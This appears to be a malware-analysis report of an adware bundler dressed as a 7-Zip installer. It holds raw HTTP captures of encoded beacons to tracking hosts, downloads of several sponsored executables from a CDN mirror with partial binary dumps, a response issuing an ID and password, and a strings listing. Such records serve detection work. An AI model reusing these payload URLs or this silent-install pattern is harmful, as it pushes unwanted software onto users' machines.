9K1HcMOAAB69wlSIXykGqJA2ba6cbLI9Qu2pInB 1fyjJbNZ5SZ9f4CwZyVqKMmyzDPNpR
IUFq2kZ6UqQX0DPE6spV5tEozwlikL0ZlDZS/x2ScAlmRdj31a7YVmHMY0Ke8Fp1X1f7yH
GIQrYS8Z8TqQL5X0HkHueWFW6FdESDYELjgV7mSngGhr5Qb4jAYl6 nsGk3K5XCyPT6liS
pYjsDB3jTfUf0DfUacxANpLy3x9pS/3eB2bBfhjTr8XjkQKghWxPHzYCugCC5p9sykZixD
ufweJYvhcad5dv2FNl0/rO3PDft8mDtYF5DcMiBTcem2kBLpvSpdD4DcK4EuORBiUF
<<< skipped >>>

POST /mg?alpha=CEgCUw4TUmNRdEpwLXkBNwFAQAtWMHQtA2RvJw== HTTP/1.1


Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: WinHttpClient
Content-Length: 250
Host: install.sourceapp.info

alpha=CEgCUw5 ehItGBAOLXkBNwFAQAtWWwZvTnNFX1RQXUwvBUtLd1UoYn94aiFYXFYaD3sJOXFVThNGTn4cDRljVX4QSkM5C1sQZV9aYhstaQFKVAQCUh5NVzIOfiYADBIOGV5YC100AjhgCgoeVV9UXgcGcggoNRJBVxMTDl1cCyMCdWZKSkoIUxESXFkGQnY9Bk5REl8UE05BelAtKwEHQ0gUV0UXXDQAOWELCAJdV1BpK3h2RQ95
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP004C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Sat, 14 Feb 2015 04:00:03 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Pragma: no-cache..
Content-Type: text/plain..Expires: -1..Server: Microsoft-IIS/7.5..X-As
pNet-Version: 4.0.30319..SVR: SP004C2..X-Powered-By: ASP.NET..p3p: CP=
"CAO PSA OUR"..Date: Sat, 14 Feb 2015 04:00:03 GMT..Content-Length: 0.
.



GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=3&index_in_screen=1&index_in_session=3&0.020092481255080396 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.833397082.1423886223.1423886223.1423886223.1; __utmb=1.1.10.1423886223; __utmc=1; __utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:57:44 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:57:44 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-285557/285558
Age: 225
X-Cache: Hit from cloudfront
Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 46I9me_KrwouMiUUkPevhBBvAoyiy8QcWfEjA-jKPO86MZkQ9Zz-Og==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
........................................................



GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 04:01:08 GMT
Date: Sat, 14 Feb 2015 04:01:08 GMT
Content-Range: bytes 0-583167/583168
Content-Length: 583168
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /root-r3.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.globalsign.net


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 04:02:07 GMT
Content-Type: application/x-pkcs7-crl
Content-Length: 594
Connection: keep-alive
Set-Cookie: __cfduid=db013af1682fd8837fb129a71a211fdc01423886527; expires=Sun, 14-Feb-16 04:02:07 GMT; path=/; domain=.globalsign.net; HttpOnly
Last-Modified: Thu, 11 Dec 2014 05:33:27 GMT
CF-Cache-Status: HIT
Expires: Sun, 15 Feb 2015 04:02:07 GMT
Cache-Control: public, max-age=86400
Accept-Ranges: bytes
Server: cloudflare-nginx
CF-RAY: 1b865e49c7551497-AMS
0..N0..6...0...*.H........0L1 0...U....GlobalSign Root CA - R31.0...U.
...GlobalSign1.0...U....GlobalSign..141210000000Z..150331000000Z0..0*.
.......1..F...141125000000Z0.0...U.......0*........%[email protected]
Z0.0...U.......0*........%..D...141125000000Z0.0...U......../0-0...U..
.....0...U.#..0.....K...E$.MP.c.......0...*.H................=.l.....;
.r....^......!.y......`w.P..=..Q..j..42.N.......A.F....s~.....7...'O..
..-'....... I....S^:i.....{......Z...p.S7S..........I.x.A.|,..C.\..<
;.....[]{.A9..D...o...Uz.=.......s...8.0.....,........Zd...Iqb.....>
;..v.1..RE....:Z....L.....x.D..I.tO.s#W.HTTP/1.1 200 OK..Date: Sat, 14
 Feb 2015 04:02:07 GMT..Content-Type: application/x-pkcs7-crl..Content
-Length: 594..Connection: keep-alive..Set-Cookie: __cfduid=db013af1682
fd8837fb129a71a211fdc01423886527; expires=Sun, 14-Feb-16 04:02:07 GMT;
 path=/; domain=.globalsign.net; HttpOnly..Last-Modified: Thu, 11 Dec 
2014 05:33:27 GMT..CF-Cache-Status: HIT..Expires: Sun, 15 Feb 2015 04:
02:07 GMT..Cache-Control: public, max-age=86400..Accept-Ranges: bytes.
.Server: cloudflare-nginx..CF-RAY: 1b865e49c7551497-AMS..0..N0..6...0.
..*.H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign
1.0...U....GlobalSign..141210000000Z..150331000000Z0..0*........1..F..
.141125000000Z0.0...U.......0*........%[email protected].....
..0*........%..D...141125000000Z0.0...U......../0-0...U.......0...U.#.
.0.....K...E$.MP.c.......0...*.H................=.l.....;.r....^......
!.y......`w.P..=..Q..j..42.N.......A.F....s~.....7...'O....-'.....
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=214170-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 71388
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 214170-285557/285558
Age: 225
X-Cache: Hit from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: hjMdPFKDpT9JdI2SrOvwbvx5V9COGgNhjgLH5je7k4YPQy6fXmi6CA==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=145792-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 04:01:08 GMT
Date: Sat, 14 Feb 2015 04:01:08 GMT
Content-Range: bytes 145792-583167/583168
Content-Length: 437376
Connection: keep-alive
..U...`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.
e62.d.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t.
..*...8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9..
......VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7
.o...V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ...
....\......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z.
..:...Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W...
.{.W...j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^
..7.. }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k....
..7-..0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... 
h.C..........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.
7.yZ.X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a...
.......".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.
. ..i ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..&
lt;`..R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.
M.....W}[email protected]....
 zi=-...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P..
.W....ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.
J1.B.>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9
f..0~.V.t...m'.=.F....cfA....vN....ae.L u7..q..#,H.............:....{j
...L.xb.......v....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%....
.c...*.IK.b.jz.l.!)....U...&...........BxfJ$..U..SU...:.g>O./..
<<< skipped >>>


GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=xs3fyxvuxx5pum45gwcoe245


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 98
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Sat, 14 Feb 2015 03:58:15 GMT
Connection: close
<RESULT>.<ANON>.<ID>347a49ca-599a-449d-a352-8c5f411a
5764</ID>.<PW>6zjimKi4</PW>.</ANON>.</RESUL
T>...



GET /app/ping.ashx?e=Ka qOJkckoXHjWHokC5IQIrPX7DOGmai62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ/s40tg8BFdHy8iRTX dxzcRPBbRh/QZ4tgKkdlz1lRoYK03JXbbVmAY0ZRB54QLU9s0DpOFQBDKtJMHu88K1rwaE3O18WF9F24IkcWc7T1uqkViX/vEF9gCuWk0op3HznMlTjuIPCQ7SmB6nzH lJGgNLtxmH87yasaZRg38QqQq/INVbahIP2NFI idKeXtY6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9E4GJ4QV/LGgmjb7lwwGTBJiS1G 7d036oZmDRlfy34hyc0iIiDxwuPWp0tEVr E2weBhV8LGHavKsb4fSGGp6rCYIEGKM0uv4feJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm/B0BQcuK8b702jIarPQLm1vWMx1IDzZCAiSHm/HybhFS9eA0ci2BjQhsLQeJtebJimrvcVl0Mf/w== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=XJYuqQQo69d2lr6SLgmZch0A8JFzEu3PNmWBF/nIo0LZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReqxrExHm0pp7EGNo7QhvOkf6U 5KiC5JbGtG7iRatc3KeXXE4oNm6FXfaIJbzXBsYhFnX GfGCUQ8ulo8/uUH61sQWPKMvS69xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLMmTADg95nKug8SfsOq8sVv HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=XJYuqQQo69d2lr6SLgmZch0A8JFzEu3PNmWBF/nIo0LZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReqxrExHm0pp7EGNo7QhvOkf6U 5KiC5JbGtG7iRatc3KeXXE4oNm6FXfaIJbzXBsYr6Qb84RcTqgys89o9QykRMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I9brNUWUt1Lv5Kni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yzJkwA4PeZyroPEn7DqvLFbw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=Ka qOJkckoXHjWHokC5IQIrPX7DOGmai62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ/s40tg8BFdHy8iRTX dxzcRPBbRh/QZ4tgKkdlz1lRoZ4gGQsTv/jI9jUckoqA0UZuenVdpknkqRI26ArDLGl0Z1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ4lo1g2wztNZ5dUbDE7pYlMZ9QBruLDjpifHUvoUrjbezRxtGGKzFWRCn qX4FpTdffopz0y2Q7Y HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=obiBp3WOda875Lloa5mq/1rMwZGpCKVFcEXCuD7ISRcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vezffbwpk5Gf9Fj5x69OeWMEpGxsI2Q6AGCdvNRLeb/tYs4164GCUCrFoceVsKClDm/Wv9kqlZCJeiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/y7zLJF1EQs63NQFKTd3L/Kt8x6kEY4pNtaXj6719HoVB3OFhD7qsTtUYb9dqX32KOEog NNy6LA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=PcwT4QFtuPCnIVMsUgdaKVrMwZGpCKVFcEXCuD7ISRcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vezffbwpk5Gf9Fj5x69OeWMEpGxsI2Q6AGCdvNRLeb/tYs4164GCUCrFAp3QYSCRp Rpd1THwhajU uvbl3jg3GmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXgmxPFHWCvcWZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryvWT88vcMcUrwB5esNx9efU= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:11 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=rtVCaXwMwDIfAxEXghvnLPOF5Vd5T630TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLhhP9XtYEB8KgMUaq GnmAWPImvXap6UhK6QuzXSWi Ubm26xUzbFgx9jUckoqA0UbzzOTe NyYpAcj/vesq0q5xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLMCzBInG6io1w8SfsOq8sVv HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 20
15 03:58:12 GMT..Content-Length: 0......


GET /app/ping.ashx?e=AZwPyJy3TZjGyhYhIfEQnMeI11IItJtH qboIc745er7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ L5Vl zZOUnYFF6f/a06pCWjwfqp7MHxGpMWXGXOfhUiXwmSZn9bL3CkMpf9re0fn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvwdAUHLivG 9NoyGqz0C5tb1jMdSA82QgIkh5vx8m4RUvXgNHItgY0F584k5IsGIppq73FZdDH/8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:14 GMT
Content-Length: 0
....



GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1
Range: bytes=50018-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 150054
Connection: keep-alive
Date: Sun, 08 Feb 2015 06:04:13 GMT
x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537
Cache-Control: max-age=3600
Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT
ETag: "ef7d1863f4980ab0c8bda142fee67f92"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 50018-200071/200072
Age: 377
X-Cache: Hit from cloudfront
Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)
X-Amz-Cf-Id: KjxRFCmsQytf88J3Cl0Z_93FiizhUkqUZ3Och-buJXzikK2XVCKhyw==
M.{..h.Hk.Y*.._4N.....w..?0 .G..K.F...!....f.b...Z...w.B.l..,.pB..2.~~
.......J.;k.#t..".np...K.....R..3.T........4..k/.?.../.....}..^.-.....
.P.W,X..b...Y.TZv.S.J.F.MZ.7.,..H.c..=.dt6u...(......O.......Mf4;...{s
...8......q.V....!J\B.....e...c..s...Y}.......9&:..z....1..l...v?.....
.7..4h.mJ....A.v..f....a.C...|E...\....T.O... ..|7f..vrw.......H......
.c...~...%..G/4K"<..d....2.e.G[..}=.S.R$.o......g.........y....)P..
wRr..[(.u.I|.6..My......y...I.t;.h....(n.m...b.G\.qH..G.......C?EC....
([email protected].....).q3....^L.. .....Yw......n.....a.3...^...g.yH..
..v.<x.X...D,M..'..MzF..zFf......|.h%.6M...d`.)[email protected]$SL....
... .&.7..(:.F.>8....M5..^o_.....o...\...N....x......q.O...7"QB...A
w....;G..b..{c .....?wF....jW=..r$hAHo.SdV.#.7..............>.B.z..
.J...I=...i.g..#....3. s>../j=vN........g.....O....D.1..C.V.E...6.f
I.}Y.{?L.....wh.$Rb.."... .}h..1..xQ...[[email protected]....*.9l
.Rfx...,..)D...%....{~...;q>s.0.........J.%....C ...>#qc.G...Q..
.$:|..b....[=...5.e\.Ov.O.:...._....J.M.)._.".../o...:.44.S.D..Fp...*.
.....[.u7...A...-......C...4.~...W.iK!.n.[:..%...."...5.3.M,t.w.w....s
...o..j9....b3..6(......0.-....&..`.].~..yc..p...JV(....O4....T..P-VDr
.D.....0..T.......|.S......rJ....K..X...t..............gl..O.g.{i..(..
l...*.*...$....@..[....6.p.....y.|f.A...&.ha.....t9H....-_..{'QV`.N.&g
t;...C..2...$:.....}/....`..#TKg..I....3.d..p.....IS.G.>Q'....[....
0q.8u...k~.F..H...2..~.X.E.>[email protected]..,B..'Q....L.]..Jy..UZ.<..W..
...z.>n.op..l.j.d .;*Ha#..xx}.8~J...QRK. ..Fi57._....~..!..X.n.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-285557/285558
Age: 149
X-Cache: Hit from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 4B32sG96-4PS0Ta1TAbII0XNsc7bfNwBUbOJw945nLlhEZS_loA1TA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>






The Application connects to the servers at the folowing location(s):







jsdrv.exe_3288:




.text
`.rdata
@.data
.rsrc
@.reloc
HTTPt
FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6
QSSSSh`
u.PSh@u,
j.hHc-
j.hX".
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
